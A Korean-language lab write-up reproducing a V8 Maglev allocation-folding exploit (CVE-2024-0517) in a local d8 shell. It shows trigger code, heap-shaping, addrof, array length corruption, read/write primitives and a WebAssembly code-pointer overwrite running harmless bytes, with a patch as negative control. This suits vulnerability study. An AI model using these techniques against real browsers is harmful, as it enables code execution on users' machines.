CVE 2024 0517 V8 Maglev allocation folding bug exploit

1. 결과 확인

1. Maglev의 잘못된 allocation folding으로 V8 heap oob write 발생
2. object elements와 double array metadata/backing store 중첩
3. compressed pointer를 유출하는 임시 addrof 구성
4. double array length를 0x10000으로 손상시켜 인접 객체 접근
5. GC 뒤에도 유지되는 V8 sandbox 내부 arbitrary read/write 구성
6. WebAssembly instance의 code pointer를 바꿔 mov eax, 0x1337; ret 실행
7. upstream 수정 한 줄을 적용한 바이너리에서는 최초 array overlap 단계가 실패하는 것을 확인

2. V8과 Maglev

• Ignition: JavaScript를 bytecode로 실행하는 인터프리터
• Sparkplug: bytecode를 빠르게 machine code로 바꾸는 baseline compiler
• Maglev: 컴파일 비용과 실행 속도의 중간 지점을 노린 mid-tier optimizing compiler
• TurboFan: 더 많은 분석과 최적화를 수행하는 top-tier compilter

3. CVE-2024-0517

class ClassParent {}

class ClassBug extends ClassParent {
  constructor() {
    const receiver = new new.target();
    super();
    const a = [1.1];
  }
}

Reflect.construct(ClassBug, [], ClassParent);

Reflect.construct(ClassBug, [], ClassParent)
  -> FindNonDefaultConstructorOrConstruct bytecode
  -> MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct
  -> BuildAllocateFastObject

base = AllocateRaw(total_size)
object_A = base + 0x00
object_B = base + 0x30   // FoldedAllocation
object_C = base + 0x58   // FoldedAllocation

object = BuildAllocateFastObject(
    FastObject(new_target_function->AsJSFunction(), zone(), broker()),
    AllocationType::kYoung);
// current_raw_allocation_이 그대로 남는다.

 object = BuildAllocateFastObject(
     FastObject(new_target_function->AsJSFunction(), zone(), broker()),
     AllocationType::kYoung);
+ClearCurrentRawAllocation();

4. 실습 환경과 버전 선택

OS       Ubuntu 22.04.5 LTS (WSL2)
Kernel   6.6.87.2-microsoft-standard-WSL2
Arch     x86_64
CPU      22 logical CPUs
RAM      15 GiB
Swap     4 GiB
Workdir  /home/rlozll/v8_1-day

commit   e73f620c2ef1230ddaa61551706225821a87c3b9
version  12.0.267.15
date     2024-01-09T05:47:25-08:00

5. 빌드

5.1 depot_tools

cd /home/rlozll/v8_1-day

git clone --depth 1 \
  https://chromium.googlesource.com/chromium/tools/depot_tools.git

export PATH="/home/rlozll/v8_1-day/depot_tools:$PATH"
export DEPOT_TOOLS_UPDATE=0
export GCLIENT_SUPPRESS_GIT_VERSION_WARNING=1

cd /home/rlozll/v8_1-day/v8
git fetch --depth=1 origin e73f620c2ef1230ddaa61551706225821a87c3b9
git checkout --detach e73f620c2ef1230ddaa61551706225821a87c3b9

cd ..
depot_tools/gclient sync -D --no-history

git -C v8 rev-parse HEAD
sed -n '8,24p' v8/include/v8-version.h

5.2 GN build arguments

is_debug = false
target_cpu = "x64"

v8_enable_sandbox = true
v8_enable_maglev = true
v8_enable_webassembly = true

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

v8_enable_slow_dchecks = false
dcheck_always_on = false
symbol_level = 0
use_goma = false

5.3 d8 빌드

cd /home/rlozll/v8_1-day
bash exploit/build.sh

cd /home/rlozll/v8_1-day/v8
mkdir -p out/exploit
cp ../exploit/args.gn out/exploit/args.gn

../depot_tools/gn gen out/exploit
ninja -C out/exploit -j 22 d8

v8/out/exploit/d8 -e 'print(version())'
# 12.0.267.15

6. trigger를 exploit 가능한 heap corruption으로 바꾸기

class ClassParent {}

class ClassBug extends ClassParent {
  constructor() {
    const v24 = new new.target();

    let x = [
      empty_object, empty_object, empty_object, empty_object,
      empty_object, empty_object, empty_object, empty_object
    ];

    super();
    let a = [1.1];

    this.x = x;
    this.a = a;
    JSON.stringify(empty_array);
  }

  [1] = dogc();
}

function dogc() {
  if (dogc_flag) {
    for (let i = 0; i < 900; i++) {
      new ArrayBuffer(0x10000);
    }
  }
}

7. array overlap에서 primitive 만들기

7.1 임시 addrof

function addrof_tmp(obj) {
  x[0] = obj;
  f64[0] = a[0];
  return u32[0];
}

7.2 length corruption

x[5] = 0x10000;

if (a.length !== 0x10000) {
  throw new Error("Initial Corruption Failed");
}

7.3 인접 array의 elements pointer 조작

let addr_a = addrof_tmp(a);
let addr_rwarr = addrof_tmp(rwarr);

if (addr_rwarr < addr_a) {
  throw new Error("Unfavorable heap order; retry the process");
}

let offset = (addr_rwarr - addr_a) + 0xc;
if ((offset % 8) !== 0) offset += 4;
let marker_idx = offset / 8;

7.4 GC-resistant primitive

let changer = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let leaker  = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let holder  = {p1: 0x1234, p2: 0x1234, p3: 0x1234};

function v8h_read64(addr) {
  const saved = changer[0];

  u32[0] = Number(addr) - 8;
  u32[1] = 0xc;
  changer[0] = f64[0];

  const value = leaker[0];
  changer[0] = saved;
  return f2i(value);
}

8. WebAssembly를 이용한 native PC control

b8 37 13 00 00    mov eax, 0x1337
c3                ret
90 90             nop; nop

wasm_write(wasmInstance_addr + 0x48n, harmless_code_addr);
func_main();
console.log("[+] NATIVE_PC_CONTROL_OK");

9. 실행과 현재 재검증 결과

v8/out/exploit/d8 \
  --allow-natives-syntax \
  --maglev \
  --no-turbofan \
  exploit/exploit.js

python3 exploit/exploit.py --retries 3 --timeout 120

10. 패치를 적용한 negative control

cp v8/out/exploit/d8 v8/out/exploit/d8-vulnerable

# source에 ClearCurrentRawAllocation() 한 줄 적용 후
ninja -C v8/out/exploit -j 22 d8
cp v8/out/exploit/d8 v8/out/exploit/d8-fixed

python3 exploit/exploit.py \
  --d8 v8/out/exploit/d8-fixed \
  --retries 1 \
  --timeout 120

Error: Initial Corruption Failed
at exploit/exploit.js:78
[-] exploit did not reach the native marker

11. 마무리

참고 자료

• Chrome Stable Channel Update, 2024-01-16 — CVE 분류, 보고자, 보상 및 배포 버전
• V8 upstream fix: 78dd4b31847a — 실제 한 줄 패치와 parent commit
• V8 공식 Maglev 소개 — V8 tiering과 Maglev 설계 배경
• V8 12.0.267.15 commit — 이 실습에서 고정한 소스
• Exodus Intelligence의 CVE-2024-0517 분석 — root cause와 heap shaping 분석
• WHS-SEGFAULT 공개 exploit — 로컬 exploit primitive 구성의 기반